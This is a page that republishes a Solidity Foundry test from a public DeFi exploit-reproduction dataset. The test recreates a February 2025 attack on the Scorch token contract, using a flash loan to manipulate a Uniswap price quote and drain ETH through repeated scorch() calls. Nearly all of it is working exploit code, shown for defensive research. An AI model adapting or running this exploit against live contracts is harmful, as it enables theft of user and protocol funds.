Public reproduction file
src/test/2025-02/Scorch_exp.sol
Public reproduction file for dataset entry Scorch.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 0.14 ETH8// Attacker : 0xc9A5643eD8E4CD68d16FE779D378C0E8e7225A549// Attack Contract : 0x60E1a5714AB98f4ba55811c45899Fb425433BB6510// Vulnerable Contract : 0xA3D0e72c8A2fE9127A77412BF34bEe5e4945bd4911// Attack Tx : https://etherscan.io/tx/0x02dc4409af99de400b2427dad525c31467a8fd2ac6cb251f885d33c073510ba212//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xa3d0e72c8a2fe9127a77412bf34bee5e4945bd49#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/45118//19// Scorch.scorch() paid ETH using a live Uniswap getAmountsOut() quote from the20// manipulable OTC/WETH pool. The attacker inflated the quote with a WETH->OTC swap,21// burned OTC for ETH at the inflated quote, then sold the remaining OTC and repaid.23address constant ATTACKER = 0xc9A5643eD8E4CD68d16FE779D378C0E8e7225A54;24address constant ATTACK_CONTRACT = 0x60E1a5714AB98f4ba55811c45899Fb425433BB65;25address constant SCORCH_TOKEN = 0xA3D0e72c8A2fE9127A77412BF34bEe5e4945bd49;26address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;27address constant UNISWAP_V3_FLASH_POOL = 0xE0554a476A092703abdB3Ef35c80e0D76d32939F;28address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;30interface IScorch {31 function scorch(32 uint256 amount33 ) external returns (bool);34}36contract ContractTest is BaseTestWithBalanceLog {37 IUniswapV3Flash private constant flashPool = IUniswapV3Flash(UNISWAP_V3_FLASH_POOL);38 IUniswapV2Router private constant router = IUniswapV2Router(payable(UNISWAP_V2_ROUTER));39 IScorch private constant scorchToken = IScorch(SCORCH_TOKEN);40 IERC20 private constant otc = IERC20(SCORCH_TOKEN);41 IWETH private constant weth = IWETH(payable(WETH_TOKEN));43 function setUp() public {44 uint256 forkBlock = 21_822_423;45 vm.createSelectFork("mainnet", forkBlock);47 fundingToken = address(0);48 vm.label(ATTACKER, "Attacker");49 vm.label(ATTACK_CONTRACT, "Attack Contract");50 vm.label(SCORCH_TOKEN, "Scorch OTC");51 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");52 vm.label(UNISWAP_V3_FLASH_POOL, "Uniswap V3 Flash Pool");53 vm.label(WETH_TOKEN, "WETH");54 }56 function testExploit() public balanceLog {57 uint256 balanceBefore = address(this).balance;59 flashPool.flash(address(this), 0, 4 ether, "");61 uint256 remainingWeth = weth.balanceOf(address(this));62 if (remainingWeth > 0) {63 weth.withdraw(remainingWeth);64 }66 assertGt(address(this).balance - balanceBefore, 0.1 ether);67 }69 function uniswapV3FlashCallback(uint256, uint256 fee1, bytes calldata) external {70 require(msg.sender == UNISWAP_V3_FLASH_POOL, "unexpected callback");72 // step 1: buy OTC and inflate the OTC/WETH quote used by scorch().73 weth.approve(UNISWAP_V2_ROUTER, type(uint256).max);74 otc.approve(UNISWAP_V2_ROUTER, type(uint256).max);76 address[] memory buyPath = new address[](2);77 buyPath[0] = WETH_TOKEN;78 buyPath[1] = SCORCH_TOKEN;79 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(4 ether, 0, buyPath, address(this), block.timestamp);81 // step 2: repeatedly burn OTC while the manipulated quote drains Scorch's ETH.82 address[] memory quotePath = new address[](2);83 quotePath[0] = SCORCH_TOKEN;84 quotePath[1] = WETH_TOKEN;85 for (uint256 i = 0; i < 8; i++) {86 uint256 availableEth = SCORCH_TOKEN.balance;87 if (availableEth < 0.01 ether) break;89 uint256 targetReward = 0.097 ether;90 if (targetReward > availableEth) {91 targetReward = (availableEth * 95) / 100;92 }94 uint256 burnAmount = router.getAmountsIn(targetReward, quotePath)[0];95 scorchToken.scorch(burnAmount);96 }98 // step 3: sell remaining OTC to WETH and wrap the ETH rewards from scorch().99 uint256 remainingOtc = otc.balanceOf(address(this));100 address[] memory sellPath = new address[](2);101 sellPath[0] = SCORCH_TOKEN;102 sellPath[1] = WETH_TOKEN;103 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(remainingOtc, 0, sellPath, address(this), block.timestamp);105 if (address(this).balance > 0) {106 weth.deposit{value: address(this).balance}();107 }109 // step 4: repay the WETH flash loan.110 weth.transfer(UNISWAP_V3_FLASH_POOL, 4 ether + fee1);111 }113 receive() external payable {}114}Analysis
Dataset entry
Public Foundry test for “Scorch” (2025-02-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-02/Bybit_exp.solSame month in the dataset · 308 lines
- src/test/2025-02/FourMeme_exp.solSame month in the dataset · 245 lines
- src/test/2025-02/GMT7_exp.solSame month in the dataset · 86 lines
- src/test/2025-02/GoldReserve_exp.solSame month in the dataset · 136 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/HenloKart_exp.solSame month in the dataset · 80 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/LimitOrderProtocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_35bc_exp.solSame month in the dataset · 91 lines
- src/test/2025-02/unverified_d4f1_exp.solSame month in the dataset · 57 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame month in the dataset · 221 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54
- Attack Contract
0x60e1a5714ab98f4ba55811c45899fb425433bb65
- Vulnerable Contract
0xa3d0e72c8a2fe9127a77412bf34bee5e4945bd49
- Attack Tx
0x02dc4409af99de400b2427dad525c31467a8fd2ac6cb251f885d33c073510ba2
File record
- Name
- Scorch
- Path
- src/test/2025-02/Scorch_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 803dae2433d2cf59e0e1dfa4b73b172f18e1aa83
- Language
- Solidity
- Size
- 115 lines
- Date
- 2025-02-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/Scorch_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 803dae2433d2cf59e0e1dfa4b73b172f18e1aa83, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.